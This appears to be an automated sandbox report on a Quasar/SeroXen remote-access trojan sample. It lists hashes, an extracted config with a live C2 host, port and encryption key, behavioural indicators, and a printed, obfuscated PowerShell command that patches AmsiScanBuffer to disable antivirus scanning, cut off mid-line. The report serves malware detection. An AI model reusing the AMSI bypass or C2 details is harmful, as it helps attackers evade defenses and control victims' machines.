Analysis
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max time kernel
120s -
max time network
137s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
11/05/2024, 12:25
General
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Target
Uni.exe
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Size
409KB
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MD5
4c2bb0618a6eda615c8001d5a7ccd6c0
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SHA1
c88d2c8bfc5906a5cfef78893d1132edcffd71f0
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SHA256
abcda524c02f9381d8d43f9ec0079d854db821d77f45e88f50606f46871f81d6
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SHA512
6abe53339656a023e2a0547f1c2249789c33091d67a21f2e689c6411dc5357e34ec3c65634b6f6955a5023d20803f7c746b13f574bcd84b008abb4a97ea61027
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SSDEEP
12288:rpg6M1i1v6q1ak/e7xlX7nnvGAwhJLJO:lxqiii6xlLvGjhO
Malware Config
Extracted
quasar
3.1.5
SeroXen
tue-jake.gl.at.ply.gg:29058
$Sxr-xPAuDxLNyBmZ7S2WLJ
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encryption_key
Pw78RUs175dFrKD7lMwH
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install_name
Client.exe
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log_directory
Logs
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reconnect_delay
3000
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startup_key
SeroXen
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subdirectory
SubDir
Signatures
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Quasar payload 2 IoCs
resource yara_rule behavioral1/memory/4524-1-0x0000000000F20000-0x0000000000F8C000-memory.dmp family_quasar behavioral1/files/0x000100000002a9e2-11.dat family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
description pid Process procid_target PID 2060 created 628 2060 powershell.EXE 5 PID 2464 created 628 2464 powershell.EXE 5 -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 4 IoCs
pid Process 916 Client.exe 4756 install.exe 2552 install.exe 3472 MjKnI18yOOAV.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 3 raw.githubusercontent.com 5 raw.githubusercontent.com 8 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ip-api.com -
Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2060 set thread context of 4436 2060 powershell.EXE 96 PID 2464 set thread context of 896 2464 powershell.EXE 97 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5012 schtasks.exe 3888 schtasks.exe 4844 SCHTASKS.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\6f806e69_0 svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3062789476-783164490-2318012559-1000\Software\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\6f806e69_0\ = "{2}.\\\\?\\hdaudio#func_01&ven_1af4&dev_0022&subsys_1af40022&rev_1001#{6994ad04-93ef-11d0-a3cc-00a0c9223196}\\elineouttopo/00010001|\\Device\\HarddiskVolume2\\Users\\Admin\\AppData\\Local\\Temp\\MjKnI18yOOAV.exe%b{00000000-0000-0000-0000-000000000000}" svchost.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715430406" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={82EAD5DE-CD61-4576-A2D0-391FAFAA58D9}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 11 May 2024 12:26:47 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2060 powershell.EXE 2060 powershell.EXE 2464 powershell.EXE 2464 powershell.EXE 2060 powershell.EXE 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 916 Client.exe 2464 powershell.EXE 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 4436 dllhost.exe 2464 powershell.EXE 896 dllhost.exe 896 dllhost.exe 5092 wmiprvse.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 916 Client.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 916 Client.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 916 Client.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe 896 dllhost.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3212 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4524 Uni.exe Token: SeDebugPrivilege 916 Client.exe Token: SeDebugPrivilege 2060 powershell.EXE Token: SeDebugPrivilege 2464 powershell.EXE Token: SeDebugPrivilege 2060 powershell.EXE Token: SeDebugPrivilege 4436 dllhost.exe Token: SeDebugPrivilege 2464 powershell.EXE Token: SeDebugPrivilege 896 dllhost.exe Token: SeAssignPrimaryTokenPrivilege 2704 svchost.exe Token: SeIncreaseQuotaPrivilege 2704 svchost.exe Token: SeSecurityPrivilege 2704 svchost.exe Token: SeTakeOwnershipPrivilege 2704 svchost.exe Token: SeLoadDriverPrivilege 2704 svchost.exe Token: SeSystemtimePrivilege 2704 svchost.exe Token: SeBackupPrivilege 2704 svchost.exe Token: SeRestorePrivilege 2704 svchost.exe Token: SeShutdownPrivilege 2704 svchost.exe Token: SeSystemEnvironmentPrivilege 2704 svchost.exe Token: SeUndockPrivilege 2704 svchost.exe Token: SeManageVolumePrivilege 2704 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2704 svchost.exe Token: SeIncreaseQuotaPrivilege 2704 svchost.exe Token: SeSecurityPrivilege 2704 svchost.exe Token: SeTakeOwnershipPrivilege 2704 svchost.exe Token: SeLoadDriverPrivilege 2704 svchost.exe Token: SeSystemtimePrivilege 2704 svchost.exe Token: SeBackupPrivilege 2704 svchost.exe Token: SeRestorePrivilege 2704 svchost.exe Token: SeShutdownPrivilege 2704 svchost.exe Token: SeSystemEnvironmentPrivilege 2704 svchost.exe Token: SeUndockPrivilege 2704 svchost.exe Token: SeManageVolumePrivilege 2704 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2704 svchost.exe Token: SeIncreaseQuotaPrivilege 2704 svchost.exe Token: SeSecurityPrivilege 2704 svchost.exe Token: SeTakeOwnershipPrivilege 2704 svchost.exe Token: SeLoadDriverPrivilege 2704 svchost.exe Token: SeSystemtimePrivilege 2704 svchost.exe Token: SeBackupPrivilege 2704 svchost.exe Token: SeRestorePrivilege 2704 svchost.exe Token: SeShutdownPrivilege 2704 svchost.exe Token: SeSystemEnvironmentPrivilege 2704 svchost.exe Token: SeUndockPrivilege 2704 svchost.exe Token: SeManageVolumePrivilege 2704 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2704 svchost.exe Token: SeIncreaseQuotaPrivilege 2704 svchost.exe Token: SeSecurityPrivilege 2704 svchost.exe Token: SeTakeOwnershipPrivilege 2704 svchost.exe Token: SeLoadDriverPrivilege 2704 svchost.exe Token: SeSystemtimePrivilege 2704 svchost.exe Token: SeBackupPrivilege 2704 svchost.exe Token: SeRestorePrivilege 2704 svchost.exe Token: SeShutdownPrivilege 2704 svchost.exe Token: SeSystemEnvironmentPrivilege 2704 svchost.exe Token: SeUndockPrivilege 2704 svchost.exe Token: SeManageVolumePrivilege 2704 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2704 svchost.exe Token: SeIncreaseQuotaPrivilege 2704 svchost.exe Token: SeSecurityPrivilege 2704 svchost.exe Token: SeTakeOwnershipPrivilege 2704 svchost.exe Token: SeLoadDriverPrivilege 2704 svchost.exe Token: SeSystemtimePrivilege 2704 svchost.exe Token: SeBackupPrivilege 2704 svchost.exe Token: SeRestorePrivilege 2704 svchost.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 916 Client.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3896 RuntimeBroker.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4524 wrote to memory of 3888 4524 Uni.exe 82 PID 4524 wrote to memory of 3888 4524 Uni.exe 82 PID 4524 wrote to memory of 3888 4524 Uni.exe 82 PID 4524 wrote to memory of 916 4524 Uni.exe 84 PID 4524 wrote to memory of 916 4524 Uni.exe 84 PID 4524 wrote to memory of 916 4524 Uni.exe 84 PID 4524 wrote to memory of 4756 4524 Uni.exe 86 PID 4524 wrote to memory of 4756 4524 Uni.exe 86 PID 4524 wrote to memory of 4756 4524 Uni.exe 86 PID 4524 wrote to memory of 4844 4524 Uni.exe 87 PID 4524 wrote to memory of 4844 4524 Uni.exe 87 PID 4524 wrote to memory of 4844 4524 Uni.exe 87 PID 916 wrote to memory of 5012 916 Client.exe 91 PID 916 wrote to memory of 5012 916 Client.exe 91 PID 916 wrote to memory of 5012 916 Client.exe 91 PID 916 wrote to memory of 2552 916 Client.exe 93 PID 916 wrote to memory of 2552 916 Client.exe 93 PID 916 wrote to memory of 2552 916 Client.exe 93 PID 2060 wrote to memory of 4436 2060 powershell.EXE 96 PID 2060 wrote to memory of 4436 2060 powershell.EXE 96 PID 2060 wrote to memory of 4436 2060 powershell.EXE 96 PID 2060 wrote to memory of 4436 2060 powershell.EXE 96 PID 2060 wrote to memory of 4436 2060 powershell.EXE 96 PID 2060 wrote to memory of 4436 2060 powershell.EXE 96 PID 2060 wrote to memory of 4436 2060 powershell.EXE 96 PID 2060 wrote to memory of 4436 2060 powershell.EXE 96 PID 4436 wrote to memory of 628 4436 dllhost.exe 5 PID 4436 wrote to memory of 684 4436 dllhost.exe 7 PID 4436 wrote to memory of 992 4436 dllhost.exe 12 PID 4436 wrote to memory of 456 4436 dllhost.exe 13 PID 4436 wrote to memory of 532 4436 dllhost.exe 14 PID 4436 wrote to memory of 852 4436 dllhost.exe 15 PID 4436 wrote to memory of 1064 4436 dllhost.exe 16 PID 4436 wrote to memory of 1072 4436 dllhost.exe 17 PID 4436 wrote to memory of 1168 4436 dllhost.exe 19 PID 4436 wrote to memory of 1208 4436 dllhost.exe 20 PID 4436 wrote to memory of 1236 4436 dllhost.exe 21 PID 4436 wrote to memory of 1296 4436 dllhost.exe 22 PID 4436 wrote to memory of 1400 4436 dllhost.exe 23 PID 4436 wrote to memory of 1452 4436 dllhost.exe 24 PID 4436 wrote to memory of 1464 4436 dllhost.exe 25 PID 4436 wrote to memory of 1596 4436 dllhost.exe 26 PID 4436 wrote to memory of 1608 4436 dllhost.exe 27 PID 4436 wrote to memory of 1660 4436 dllhost.exe 28 PID 4436 wrote to memory of 1728 4436 dllhost.exe 29 PID 4436 wrote to memory of 1756 4436 dllhost.exe 30 PID 4436 wrote to memory of 1828 4436 dllhost.exe 31 PID 4436 wrote to memory of 1864 4436 dllhost.exe 32 PID 4436 wrote to memory of 1924 4436 dllhost.exe 33 PID 4436 wrote to memory of 1936 4436 dllhost.exe 34 PID 4436 wrote to memory of 1232 4436 dllhost.exe 35 PID 4436 wrote to memory of 1796 4436 dllhost.exe 36 PID 4436 wrote to memory of 2108 4436 dllhost.exe 37 PID 4436 wrote to memory of 2232 4436 dllhost.exe 39 PID 4436 wrote to memory of 2336 4436 dllhost.exe 40 PID 4436 wrote to memory of 2520 4436 dllhost.exe 41 PID 4436 wrote to memory of 2528 4436 dllhost.exe 42 PID 4436 wrote to memory of 2568 4436 dllhost.exe 43 PID 4436 wrote to memory of 2660 4436 dllhost.exe 44 PID 4436 wrote to memory of 2688 4436 dllhost.exe 45 PID 4436 wrote to memory of 2696 4436 dllhost.exe 46 PID 4436 wrote to memory of 2704 4436 dllhost.exe 47 PID 4436 wrote to memory of 2732 4436 dllhost.exe 48 PID 4436 wrote to memory of 2816 4436 dllhost.exe 49 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:628
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:532
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{65c2787b-56b4-434e-91f9-abcd0635bc47}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4436
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{f5d7ab21-a1a8-4b2b-90ec-727c492c6922}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:896
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:992
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:456
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:852
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1064
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1072
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1168
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1208
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:zNPfbyPDsNje{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$FsyPAaIpCoAmrf,[Parameter(Position=1)][Type]$NSQzzjCKwL)$lmlKekCurhn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+'l'+''+'e'+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+'e'+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+'M'+''+[Char](111)+'d'+[Char](117)+'l'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+'g'+''+'a'+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+'pe','C'+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+'P'+''+'u'+'bl'+[Char](105)+'c'+[Char](44)+'Sea'+'l'+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+'n'+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+''+'u'+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+'a'+'s'+'s',[MulticastDelegate]);$lmlKekCurhn.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+'i'+'a'+'l'+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+'H'+[Char](105)+''+'d'+'e'+'B'+''+[Char](121)+''+'S'+'ig'+[Char](44)+''+[Char](80)+'u'+[Char](98)+'lic',[Reflection.CallingConventions]::Standard,$FsyPAaIpCoAmrf).SetImplementationFlags(''+'R'+'u'+[Char](110)+'t'+'i'+''+[Char](109)+'e,'+[Char](77)+''+'a'+''+[Char](110)+''+'a'+'ge'+[Char](100)+'');$lmlKekCurhn.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+'o'+'k'+[Char](101)+'','Pu'+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+[Char](44)+'V'+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+'a'+'l',$NSQzzjCKwL,$FsyPAaIpCoAmrf).SetImplementationFlags(''+'R'+'un'+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');Write-Output $lmlKekCurhn.CreateType();}$bPxFvAPhuXfWL=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+'t'+'e'+''+'m'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+'c'+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+'.'+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+'2'+[Char](46)+'Un'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+'ti'+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+'h'+''+[Char](111)+''+[Char](100)+''+[Char](115)+'');$wTEvNcQaVZycIu=$bPxFvAPhuXfWL.GetMethod(''+'G'+''+[Char](101)+'tP'+'r'+'o'+[Char](99)+''+[Char](65)+'d'+[Char](100)+''+[Char](114)+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('P'+[Char](117)+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vHVMZuigiCuYAAlzHZn=zNPfbyPDsNje @([String])([IntPtr]);$KdNScjrtnEWBdBxjSAEkgd=zNPfbyPDsNje @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$qwmejQCLCWf=$bPxFvAPhuXfWL.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+'M'+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+'d'+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$ydEANYygKKPFwf=$wTEvNcQaVZycIu.Invoke($Null,@([Object]$qwmejQCLCWf,[Object](''+'L'+'oa'+[Char](100)+''+[Char](76)+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+'ryA')));$kfgUAiFPBiNLxKXcy=$wTEvNcQaVZycIu.Invoke($Null,@([Object]$qwmejQCLCWf,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+'r'+''+'o'+''+'t'+'e'+[Char](99)+''+[Char](116)+'')));$iEtZRbh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ydEANYygKKPFwf,$vHVMZuigiCuYAAlzHZn).Invoke(''+'a'+''+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$VAOVynVphiHPMHvUL=$wTEvNcQaVZycIu.Invoke($Null,@([Object]$iEtZRbh,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+'c'+'an'+[Char](66)+'u'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$qIVEYfxqGM=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kfgUAiFPBiNLxKXcy,$KdNScjrtnEWBdBxjSAEkgd).Invoke($VAOVynVphiHPMHvUL,[uint32]8,4,[ref]$qIVEYfxqGM);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VAOVynVphiHPMHvUL,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($kfgUAiFPBiNLxKXcy,$KdNScjrtnEWBdBxjSAEkgd).Invoke($VAOVynVphiHPMHvUL,[uint32]8,0x20,[ref]$qIVEYfxqGM);[Reflectio